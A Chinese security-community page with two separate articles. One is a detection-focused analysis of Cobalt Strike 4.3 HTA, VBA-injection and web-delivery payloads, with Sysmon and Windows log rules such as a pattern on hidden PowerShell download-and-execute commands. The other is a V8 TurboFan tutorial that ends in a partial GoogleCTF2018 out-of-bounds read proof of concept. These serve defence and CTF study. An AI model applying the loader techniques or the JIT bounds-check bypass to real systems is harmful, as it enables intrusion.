[Apache POI <= 4.1.0 XXE 漏洞
(CVE-2019-12415)](https://b1ue.cn/archives/241.html) | 社区文章 |
# 攻击检测之cobaltstrike4.3上
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.背景介绍
本文主要是从终端层面（windows日志，sysmon日志）对cobaltstrike4.3版本默认的功能产生的行为进行检测。
## 2.HTMLApplication类型分析
该类型主要通过executable,powershell,VBA3种方法生成hta类型的payload
### 1.Powershell
Powershell方法生成的:查看生成的文件代码发现就是HTA调用powershell.exe执行paylpad,可以看到powershell指令为一段base64编码的字符
对里面编码的字符进行第一次解码后，显示的主要内容是将base64编码的内容转为byte然后读入内存中并进行压缩然后再在内存中解压执行
我们将第一次解码后的内容中的IEX指令换成echo也就是将执行换成输出可以看到第二次解码的指令，指令内容主要是再次将base64编码的内容转为byte数组然后进行异或35后开辟空间执行
指令内容中的$var_code变量存储着将要执行的shellcode，我们可以将base64解码然后异或后的$var_code以16进制格式打印出来看，可以发现这里的shellcode其实就是CS默认生成的分段Payload中的用于下载后续Payload的shellcode
我们也可以按照他解密方式进行解码shellcode后进行分析，我们通过工具将字符串进行base64解码然后再异或35，然后保存二进制文件即可
保存出来的shellcode可以用scdbg工具简单进行分析
也可以将shellcode加载到内存进行动态分析我这里使用的是blobrunner工具加载的shellcode
双击运行默认载荷后命令行发现除了运行的hta文件后面跟了类似clsid的参数，通过注册表查询得知这是本机文件关联程序和默认打开程序的方法，打开.hta后缀的文件默认后启动mshta.exe打开
后面默认的参数就是{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
**sysmon检测规则**
1.sysmon事件1记录了进程之间的关系,那么父进程系统进程mshta启动powershell这也算一个检测点
2.如果规则严格点指令参数中带有-nop -w hidden -encodedcommand也可以当做检测条件
**Windows检测规则**
1.powershell事件4104会记录解码后powershell指令，可以把内容中有内存编码解码压缩解压的函数作为检测点
2.windows安全日志事件4688也可以检测子父进程的异常启动规则同sysmon其实系统很多自带的程序也就是lolbins常用来执行远程下载，bypassuac，提权，执行恶意代码等操作，这些系统进程发生的异常行为更是我们监控的重点，系统进程的异常调用，不仅仅是mshta调用powershell。此次RSAC更有提到一个VULNBINS的概念也就是投递旧版系统组件/软件二进制，利用其漏洞进行攻击达到防御规避的作用。
### 2.VBA
vba方法生成的:该payload通过调用COM组件来执行payload，需要目标机有Excel.Application组件.生成的载荷在hta中通过VBScript创建一个excel对象并填充恶意宏代码执行，代码首先通过CreateBoject
创建了一个
Excel.Application对象并更改其可见属性为False接着程序创建一个WscriptShell对象用于操作注册表，主要是添加宏的安全属性，然后会给Excel对象添加工作表并且将混淆后宏代码填充进去后面通过Auto_Open方法调用宏。
查看载荷代码发现存在了大量混淆代码
我们同样可以通过打印的方式将加密的内容输出到文件,我们只需要创建文件对象把要操作的内容输出到文本里面就行了。
Dim fso, MyFile
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True)
MyFile.WriteLine(“This is a test.”)
MyFile.Close
打印出来的内容
代码主要是利用了创建进程，内存开辟，创建远程线程，写进程内存等函数并进行了类似取别名的操作
然后通过excel启动rundll32并往rundll32内存空间中注入shellcode并创建线程执行
我们可以把这段vba代码进行调试查看具体写入rundll32的shellcode是什么，这里是通过CreateRemoteThread函数来启动一个新线程执行shellcode
这里的地址10420224是10进制的我们转换成16进制就是对应rundll32执行shellcode的内存空间
你可以用调试器附加到rundll32上跳转到0x9f0000地址处调试shellcode，这里我没有调试了直接用火绒剑查看其内存发现这也是相同的payload
整个流程其实是运行hta文件后svchost会调用com组件启动excel然后把宏代码填充到excel中，excel执行宏会启动rundll32并把shellcode写到rundll32空间中创建一个线程去执行shellcode
**Sysmon检测规则**
1.通过查看sysmon日志我们可以发现异常点 事件类型1中父进程是excel参数是/automation -Embedding
子进程是rundll32而且这里是32位的rundll32，命令行参数就只是rundll32没有任何参数。这里的excel是svchost启动的
2.事件类型8,父进程excel在子进程rundll32创建远程线程并且
StartModule，startfunction的值为空，并且起始地址是0000结尾的
我们查看正常进程中的线程里面的模块跟函数名都是写清楚了的，cs创建的线程是没有模块跟函数名的,仅仅只有一个地址
3.其实经过大量测试验证sysmon事件类型8,笔者发现cs开辟的内存空间地址都是以0000结尾的,因为创建远程线程也是非常多的事件，我们可以结合真实的场景来优化规则，一般注入都是注入系统进程来达到维持持久化或者提权执行恶意代码等目的，我们可以把system32以外目录的程序注入system32/syswow64目录下的进程或者explorer进程并且内存空间地址都是以0000结尾以及模块跟函数名都为空写成规则。针对线程的起始地址检测Sigma也有类似规则不过可能是cs3.x的版本
4.当然你也可以几个事件结合起来写规则比如excel注入rundll32然后rundll32产生了网络连接。
### 3.Executable
Executable方法生成的载荷是以十六进制的方式内嵌一个EXE到HTA里，查看生成的代码发现里面通过GetTempName生成随机的临时文件或文件夹的名称，通过GetSpecialFolder(2)方法2代表temp文件夹，该放啊返回temp文件夹名称然后两个名称拼接路径。落盘的PE文件名称为executable.exe
我们可以运行hta载荷提取落盘的executable.exe分析,也可以直接把二进制数据复制到winhex里面然后还原成PE,提取出来发现只有14KB应该也是分段的加载器
简单查看4.3版本的分段加载器与4.0的其他版本一样都会创建MSSE-*-Server的命名管道，创建管道的目的是将shellcode通过writefile函数写入到管道中然后通过createfileA打开管道读取shellcode到内存，这样通过管道的方式传输shellcode可以躲避部分沙箱检测
我们进行动态调试以及procexp查看可以看到管道确实创建并连接了，但是笔者在多个操作系统尝试都无法通过sysmon捕捉管道建立和管道连接的事件发生
**Sysmon检测**
1.Sysmon事件类型11记录了mshta在temp目录下生成了可执行文件
2.命名管道创建与连接的规则也是可以写的默认为MSSE-*-Server
## 3.Scripted Web Delivery (S)模块
主要是利用powershell，bitsadmin，python等命令行执行脚本来远程下载执行载荷，获得初始访问由于本身都是系统自带的程序本质就是无文件白利用lolbins来进行防御规避。
### 1.Powershell版本
该命令依然是非常经典的隐藏远程下载并在内存执行的
**Sysmon检测规则**
1.-nop -w hidden -c IEX ((new-object net.webclient).downloadstring()该指令可以监控起来
**Windows检测规则**
1.即使是远程下载并在内存执行仍然被windows自带的powershell日志完整的把读取的内容记录了下来量也是非常的大记录了13条日志，不过还是有非常明显的特征也就是我们前面提到的加解密加解压函数
通过之前的方法我们仍然可以提取出样本发现是不分段的payload，大小为200多kb
### 2.Bitsadmin版本
windows7
以上版本内置bitsadmin，它可以在网络不稳定的状态下下载文件，出错会自动重试，在比较复杂的网络环境下，有着不错的性能，不支持HTTPS。
可以看到CS通过bitsadmin远程下载了一个可执行文件到%appdata%目录并进行执行执行完自删除，可执行文件名是随机生成的4位数字或者字母，目录是确定是%appdata%
**Sysmon检测规则**
1.事件类型1，bitsadmin远程下载的指令可以监控起来，当然%appdata%目录下落盘的4位的4位数字或者字母也需要重点关注。
**Windows检测规则**
1.事件类型4688，同上的检测方法
2.其实有个专门的日志种类记录了bits服务，我们的监控也不应该是仅仅监控在命令行参数，Bitsproxy.dll、qmgrprxy.dll是bits服务主要功能实现，恶意程序加载其dll一样的完成其功能，其他功能比如实现RDP功能的mstscax.dll等也是如此。（BITS的可疑利用
[https://blog.menasec.net/2021/）](https://blog.menasec.net/2021/%EF%BC%89)
### 3.Python版本
python这个利用应该不是很多并不是系统自带程序，不过要是用起来的话也很难分辨是否是正常还是恶意的操作行为,但是CS默认生成的参数指令还是监控一下
查看其代码主要行为就是在自己的python进程了创建了线程执行不分段的payload，由于sysmon只能监控创建远程线程这个没办法监控。
**Sysmon检测规则**
1.监控默认生成的参数指令
## 3.总结
本文只是简单的从sysmon和windows日志能记录的事件维度对CS4.3版本默认的一些功能进行分析，很多行为可以从其他维度去进行监控比如流量，后面会继续对剩余的功能进行分析。 | 社区文章 |
**作者：TokameinE@知道创宇404实验室
日期：2022年7月19日**
“JavaScript 代码本身就是一个二进制程序。” 不知道读者是否在什么地方听说过这样的解释，但笔者认为这个形容相当生动。因为 JavaScript
的代码是懒惰解释的，只有在特定函数被执行时候，解释器才会对这部分代码进行解释，生成对应的字节码。但这些字节码会随着代码的运行而产生变动，同一份代码有可能在同一次执行中，由于动态优化的缘故而被解释为两段相差甚大的字节码。不知道您现在是否对这句话有了一点体会。在某些文章中我们甚至能看见这样的解释：“解释器即编译器”。
## V8 的工作原理
> 或许您已经在某些地方见过这张图了，它很简洁的概况了整个流程。
> * 首先会将 JavaScript 代码传递给 V8 引擎，并将其递给 Parse
> * 然后它会根据代码生成对应的抽象语法树(AST)
> * 接下来，Ignition 解释器就会直接根据 AST 生成对应的字节码，并开始执行它们
> * 会有另外一个线程监测代码的执行过程，收集合适的数据进行回调
> * TurboFan 会根据这些数据优化字节码，让它们能够更快的执行
>
一个最简单的例子是，如果在运行过程中，TurboFan 发现某个函数的参数无论如何都只会是 32bit
整数，而不会是其他任何类型，那么它就可以省略掉很多类型检查上的操作了，完全有可能让一些加法被优化为单纯的 add
指令，而不是其他更加复杂的函数；但如果运行中发现，在某一时刻，传入的参数类型发生了变化，那么就会去除这次的优化，令代码回到本来的状态。
从安全的角度来说，如果一段被优化后的代码在遇到某些非法输入时没能正确的执行“去优化(deoptimizations)”步骤或是甚至没有做
deoptimizations，就有可能导致这段代码被错误的使用。
## V8 字节码
字节码是根据语法树转换而来的，那不如我们先从语法树开始 。通过添加参数 `--print-ast` 可以令其打印出 AST。来看下面的示例：
function add(val1, val2) {
return val1 + val2;
}
var res1=add(1,2);
var res2=add("a","b");
$ ./d8 ./bytecode.js --print-ast
[generating bytecode for function: ]
--- AST --- FUNC at 0
. KIND 0
. LITERAL ID 0
. SUSPEND COUNT 0
. NAME ""
. INFERRED NAME ""
. DECLS
. . FUNCTION "add" = function add
. . VARIABLE (0x56295442b6b0) (mode = VAR, assigned = true) "res1"
. . VARIABLE (0x56295442b7c8) (mode = VAR, assigned = true) "res2"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 62
. . . INIT at 62
. . . . VAR PROXY unallocated (0x56295442b6b0) (mode = VAR, assigned = true) "res1"
. . . . CALL
. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add"
. . . . . LITERAL 1
. . . . . LITERAL 2
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 81
. . . INIT at 81
. . . . VAR PROXY unallocated (0x56295442b7c8) (mode = VAR, assigned = true) "res2"
. . . . CALL
. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add"
. . . . . LITERAL "a"
. . . . . LITERAL "b"
[generating bytecode for function: add]
--- AST --- FUNC at 12
. KIND 0
. LITERAL ID 1
. SUSPEND COUNT 0
. NAME "add"
. PARAMS
. . VAR (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . VAR (0x56295442b760) (mode = VAR, assigned = false) "val2"
. DECLS
. . VARIABLE (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . VARIABLE (0x56295442b760) (mode = VAR, assigned = false) "val2"
. RETURN at 31
. . ADD at 43
. . . VAR PROXY parameter[0] (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . . VAR PROXY parameter[1] (0x56295442b760) (mode = VAR, assigned = false) "val2"
第一个 AST 是整个程序执行流的，而第二个则是函数 add 的 AST，我们的重点放在第二个上并将其转为流程图：
+---------+
+---------+ Function+----------+
| +---------+ |
+--v---+ +----v---+
|params| | return |
+---------------+ +----+---+
| | |
| | |
+----v-----+ +----------+ +----v----+
| var val1 | | var val2 | | add |
+----------+ +----------+ +------+---------+-------+
| |
| |
+-------v--------+ +---------v------+
| var proxy val1 | | var proxy val2 |
+----------------+ +----------------+
> 这里我们省略掉了 DECLS 分支，因为我们并不是很关心这些。
出于一些特殊的规则，语法树会为函数创建两个分支，一个用于参数，另外一个则用于执行流。并且，执行流中使用 `var proxy`
结点代替参数，当使用到参数时，这两个结点会从左子树中的参数结点中获取变量。
而如果附带 `--print-bytecode` 参数，就能够得到其对应的字节码：
[generated bytecode for function: add (0x314000253b61 <SharedFunctionInfo add>)]
Bytecode length: 6
Parameter count 3
Register count 0
Frame size 0
Bytecode age: 0
0x314000253d3e @ 0 : 0b 04 Ldar a1
0x314000253d40 @ 2 : 39 03 00 Add a0, [0]
0x314000253d43 @ 5 : a9 Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)
* Parameter count：参数个数。除了我们提供的参数以外，还包括了一个 this 指针。
Ignition 使用一种名为 “register machine” 的机制来模拟寄存器，其中有一个与 x86 下的 rax 相似的 accumulator
register(累加寄存器)，它用于常规的计算以及返回值。
具体的字节码就不再做翻译了，因为下文中其实不怎么需要它，此处多有一些抛砖引玉的意思。
## 优化过程
通过添加参数 `--trace-opt` 和 `--trace-deopt` 可以跟踪程序的优化和去优化过程：
class Player{}
class Wall{}
function move(obj) {
var tmp = obj.x + 42;
var x = Math.random();
x += 1;
return tmp + x;
}
for (var i = 0; i < 0x10000; ++i) {
move(new Player());
}
move(new Wall());
for (var i = 0; i < 0x10000; ++i) {
move(new Wall());
}
$ ./d8 ./bytecode.js --trace-opt --trace-deopt
[marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function]
[compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan]
[optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.139, 0.330, 0.015 ms]
[completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)]
[marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable]
[compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.137, 0.687, 0.019 ms]
[bailout (kind: deopt-soft, reason: Insufficient type feedback for construct): begin. deoptimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)>, opt id 1, bytecode offset 123, deopt exit 6, FP to SP delta 96, caller SP 0x7ffdd0530428, pc 0x3fe4001c4b51]
[bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)>, opt id 0, bytecode offset 0, deopt exit 1, FP to SP delta 32, caller SP 0x7ffdd05303b8, pc 0x3fe4001c485f]
[marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function]
[compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan]
[marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable]
[optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.138, 0.612, 0.098 ms]
[completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)]
[compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.253, 0.901, 0.044 ms]
可以注意到，当程序多次执行 `move(new Player())` 时，TurboFan 认为可以对此做更进一步的优化以加快程序执行；而让其遇到
`move(new Wall())` 时，则因为二者的不同类型而出现 `wrong map`
，于是其去除以前的优化并重新执行，再之后又因为多次执行而再次优化。
> 也可以通过 `%PrepareFunctionForOptimization()` 与 `%OptimizeFunctionOnNextCall()`
> 来进行主动优化，不过这需要您在执行时添加参数 `--allow-natives-syntax` 来允许这种语法。
>
> 另外，具体的过程我们会在接下来的内容说明。目前我们需要知道的事实仅有如上这部分内容。
### 图形化分析
function add(x)
{
var va1=1;
if(x)
va1=0;
return 1+va1;
}
for (let i = 0; i < 0x10000; ++i) {
add(true);
}
for (let i = 0; i < 0x10000; ++i) {
add(false);
}
通过添加 `--trace-turbo` 可以在目录下生成 `*.json` 和 `*.cfg*` ，我们可以将 `add` 函数导出的 json 导入到
turbolizer 中以获取到对应的值传递图：(隐藏了一部分，优化以前的状态)
在值传递的过程中可以注意到，Turbofan 总是传递 `Range(n,n)` 类型，它表示传出的值的上下限，对于常数来说，它的上下界是相同的；而对于
SpeculativeSafeIntergerAdd 这类运算函数，它的类型则根据执行流分别计算下界和上界。
> 是的，只需要知道值的上下限就能够确定最终能够使用什么样的类型了。它只是在尝试简化 AST
> 树，因此并不涉及到实际的执行过程，只需要确定在执行的过程中，需要用什么类型的值表示变量即可。
另外，因为一些编译原理上的设计，每个变量只会经过一次赋值，因此需要使用 Phi 结点去对值进行选择。尽管它只可能返回 0 或 1，但仍然给出了
`Range(0,1)` 。
在完成基本的构建以后，是通过 `TyperPhase::Run` 对整个结构图进行遍历并确定所有结点的属性，其调用链大致如下：
`TyperPhase::Run` \--> `Typer::Run` \--> `GraphReducer::ReduceGraph` \-->
`Typer::Visitor::Reduce` \--> `Typer::Visitor::***Typer` (此处 * 用以指代某个名称，例如
JSCall)
这会遍历每一个结点，并根据它们的输入来确定最后的类型，并且在这个过程中，它会尝试减少一部分节点来加快运行效率。
姑且用一段简单的源代码来说明一下这个过程，哪怕我并不希望在入门阶段就立刻进入源代码层面，但又似乎逃不开它：
void Typer::Run(const NodeVector& roots,
LoopVariableOptimizer* induction_vars) {
if (induction_vars != nullptr) {
induction_vars->ChangeToInductionVariablePhis();
}
Visitor visitor(this, induction_vars);
GraphReducer graph_reducer(zone(), graph(), tick_counter_, broker());
graph_reducer.AddReducer(&visitor);
for (Node* const root : roots) graph_reducer.ReduceNode(root);
graph_reducer.ReduceGraph();
···
induction_vars->ChangeToPhisAndInsertGuards();
}
}
在 `Typer::Run` 中会调用 `ReduceGraph` 尝试对结点进行缩减，它最终会根据结点的类型来确定运行的函数：
Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) {
return Type::NonInternal();
}
JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction();
if (!function.shared().HasBuiltinId()) {
return Type::NonInternal();
}
switch (function.shared().builtin_id()) {
case Builtin::kMathRandom:
return Type::PlainNumber();
case Builtin::kMathFloor:
case Builtin::kMathCeil:
case Builtin::kMathRound:
case Builtin::kMathTrunc:
return t->cache_->kIntegerOrMinusZeroOrNaN;
···
这是一个庞大的 switch ，对于那些内置函数(buildin)，它能够很快找出对应的类型；而对于一些其他类型的函数，则返回 `NonInternal`
。这么做的目的是能够简化一些检查操作，既然判明了这个结点必然会是某个确定的属性，就不再需要对它的输入做其他类型的检查了。
对于常数，也有类似却又小得多的结果：
Type Typer::Visitor::TypeNumberConstant(Node* node) {
double number = OpParameter<double>(node->op());
return Type::Constant(number, zone());
}
> 不过这里用到的是 double 类型，所以 v8 中的常数最大值肯定小于普通的八字节可表示的常数最大值。
然后再进入 `Type::Constant` ：
Type Type::Constant(double value, Zone* zone) {
if (RangeType::IsInteger(value)) {
return Range(value, value, zone);
} else if (IsMinusZero(value)) {
return Type::MinusZero();
} else if (std::isnan(value)) {
return Type::NaN();
}
DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value));
return OtherNumberConstant(value, zone);
}
对于普通整数的返回值自然就是一个 `Range` 了，另外还有两种值被使用 `-0` 和 `NaN` 。
而 Speculative 前缀含有推测的意思，这往往意味着这个函数能够根据情况进一步优化，例如`SpeculativeSafeIntegerAdd`
就是如此。在优化以前，它会以这个结点表示所有的加法，而在它通过代码运行时分析，发现其执行数据符合一定的预期时，就能够用更加具体且更加快速的函数来替代了。
Type OperationTyper::SpeculativeToNumber(Type type) {
return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone()));
}
`ToNumber` 会继续向下化简，最终根据我们给出的 `Range` 选择一个合适的函数替代，我们以如下的例子说明：
假如我们使用一个稍大一些的数：
let opt_me = (x) => {
return x + 1000000000000;
}
opt_me(42);
for(var i=0;i<0x10000;i++)
{
opt_me(4242);
}
就会使用 `SpeculativeNumberAdd` 替代它：
而如果我们只使用一些较小的数：
let opt_me= (x) => {
let y = x ? 10 : 20;
return y + 100;
}
for(var i=0;i<0x10000;i++)
{
opt_me(false);
}
就会生成相当简单的 `Int32Add` ：
另外，而如果需要通过索引来读取数组：
function opt() {
var arr = [1.1,2.2];
var x = 1;
return arr[x];
}
for (var i=0;i<0x20000;i++) {
opt();
}
有一个特殊的函数是 `CheckBounds` ，它会检查输入的索引值是否越界，然后才能够返回对应的数。它的类型也是 `Range`
，通过确定的上下界就能够很容易的分析出索引是否越界，因此在旧版的 V8 中会在优化后消除检查；不过，在现在的版本里，这个检查又加回来了：
> 似乎看起来消除检查也没太大问题，因为上下界确定的情况下 Turbofan 认为绝对不可能发生越界了。
> 但如果在代码层面和优化层面对数值的计算不一致，优化层计算出的结果表示不会越界，而代码层的计算结果却超出了范围，那么就能够利用优化后取出检查的机制来越界读写了。
> 很危险，因此现在又恢复了这个检查。
总结一下目前可能产生的优化：
* JSCall 调用内置函数结点被 PlainNumber 等已知类型替代
* NumberConstant 以 Range(n,n) 表示
* SpeculativeNumberAdd(PlainNumber, PlainNumber) 则会以 PlainNumber 表示，
当然，肯定不只是这些内容，但我们没必要全部展开一一阐明，并且我相信您至少对这种替换有了一定的认识了。
但这只是初步优化，接下来还会做不同阶段的分层优化：
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_lowering);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &simple_reducer);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
在 `TypedOptimization` 中，会调用各类 `Reduce` 函数对类型进行优化，例如上述的 `SpeculativeNumberAdd`
：
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
Node* const lhs = NodeProperties::GetValueInput(node, 0);
Node* const rhs = NodeProperties::GetValueInput(node, 1);
Type const lhs_type = NodeProperties::GetType(lhs);
Type const rhs_type = NodeProperties::GetType(rhs);
NumberOperationHint hint = NumberOperationHintOf(node->op());
if ((hint == NumberOperationHint::kNumber ||
hint == NumberOperationHint::kNumberOrOddball) &&
BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) &&
NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) {
// SpeculativeNumberAdd(x:-string, y:-string) =>
// NumberAdd(ToNumber(x), ToNumber(y))
Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs);
Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
Node* const value =
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
return NoChange();
}
这会尝试通过 `NumberOperationHintOf` 来判别我们的表达式行为：
NumberOperationHint NumberOperationHintOf(const Operator* op) {
DCHECK(op->opcode() == IrOpcode::kSpeculativeNumberAdd ||
op->opcode() == IrOpcode::kSpeculativeNumberSubtract ||
op->opcode() == IrOpcode::kSpeculativeNumberMultiply ||
op->opcode() == IrOpcode::kSpeculativeNumberPow ||
op->opcode() == IrOpcode::kSpeculativeNumberDivide ||
op->opcode() == IrOpcode::kSpeculativeNumberModulus ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftLeft ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftRight ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftRightLogical ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseAnd ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseOr ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseXor ||
op->opcode() == IrOpcode::kSpeculativeNumberEqual ||
op->opcode() == IrOpcode::kSpeculativeNumberLessThan ||
op->opcode() == IrOpcode::kSpeculativeNumberLessThanOrEqual ||
op->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd ||
op->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract);
return OpParameter<NumberOperationHint>(op);
}
最终它会发现，如果表达式的二值均为 `NumberOperationHint::kNumber` 这类数字而不会是字符串或其他类型，那么就能够将
`SpeculativeNumberAdd` 替换为 `NumberAdd` 。
`JSTypedLowering::ReduceJSCall` 也有类似的操作，这里不再展开，读者可以自行尝试对照源代码。
# 实例分析
## GoogleCTF2018-Just In Time
惯例根据一个实际的样本来说明 Turbofan 的利用过程，理解一下这种优化在什么情况下能够被利用。首先我们从资料较多的例题开始。
题目附件给了 diff 文件，我们可以直接阅读代码来确定问题所在：
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
···
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
可以注意到，在最后的一系列优化中，题目添加了一个额外的优化，向上跟踪可以找到其来自于 `DuplicateAdditionReducer`
再往上找即可发现关键的漏洞代码：
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
我们筛出关键的分支判断和漏洞代码：
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ ···
+ if (left->opcode() != node->opcode()) {
+ ···
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ ···
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ ···
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
总结如下： \- 结点本身为 kNumberAdd \- 左树结点也为 kNumberAdd \- 右树结点为 kNumberConstant \-左树的右父节点也为 kNumberConstant \- 满足以上条件时，将该结点替换为
NumberConstant(const1+const2)，意味将两个常数合并
满足条件的情况下，其结点树大致如下：`x+constant+constant`
+------------------+
| kNumberConstant |
+------+ |
| +------------------+
|
|
|
+---------v------+ +------------------+
| kNumberAdd | |kNumberConstant |
| | | |
+---------+------+ +--------+---------+
| |
| |
| |
| +---------------+ |
+-------> kNumberAdd <--------+
| |
+---------------+
之后它会将两个常数结点运算后替换成 `x+constant` ，这样在执行时就能减少一次运算了。
> 这里的加法即为 JIT 优化层面的运算，我们可以考虑这样一种情况： \- Index[x] 未越界，可执行 \- Index[x+1+1]
> 未越界，可执行 \- Index[x+2] 越界，不可执行
不知您是否发现了某些问题，如果我们在代码层面写的是 `Index[x+1+1]` ，那么它是一条可执行的语句，而如果写 `Index[x+2]`
则会被检查出越界；那如果我们写入 `Index[x+1+1]` 使其通过检查后，让优化器把这段语句自动优化成了 `Index[x+2]`
，是否就能够绕过边界检查实现越界读写呢？
> 如果您熟悉 C 语言或是其他类似的编程语言，那么你或许不会认为把 `1+1` 优化为 `2` 是一种不合理的选择，但由于在 JavaScript
> 中的整数实际上是通过 double 类型的浮点数表示，因此就有可能在运算时发生问题。 例如，`Number.MAX_SAFE_INTEGER`
> 就表示能够安全运算的最大整数，超出该数的运算就有可能发生上述问题，但它并不禁止你使用这类整数，因此在编写代码时需要程序员自己注意。
我们可以直接上代码试试这个事实：
V8 version 7.3.0 (candidate)
d8> x=Number.MAX_SAFE_INTEGER
9007199254740991
d8> x=x+1
9007199254740992
d8> x=x+1
9007199254740992
d8> x=x+1
9007199254740992
这个事实在各个版本中都存在，尽管它并不一定算是个问题，但和题目的优化机制结合就变得可以利用了。
### 一个简单的越界
function oob(x)
{
var double_array=[1.1,2.2,3.3,4.4];
//Number.MAX_SAFE_INTEGER=9007199254740991;
let t=(x==0)?Number.MAX_SAFE_INTEGER-2:Number.MAX_SAFE_INTEGER+1;
//Range(9007199254740991-2,9007199254740991+1);
t=t+1+1;
//优化前:Range(9007199254740991,9007199254740991+1);
//优化后:Range(9007199254740991,9007199254740991+3);
t=t-9007199254740989;
//优化前:Range(2,3)
//优化后:Range(2,5)
return double_array[t];
}
console.log(oob(0));
console.log(oob(1));
%OptimizeFunctionOnNextCall(oob);
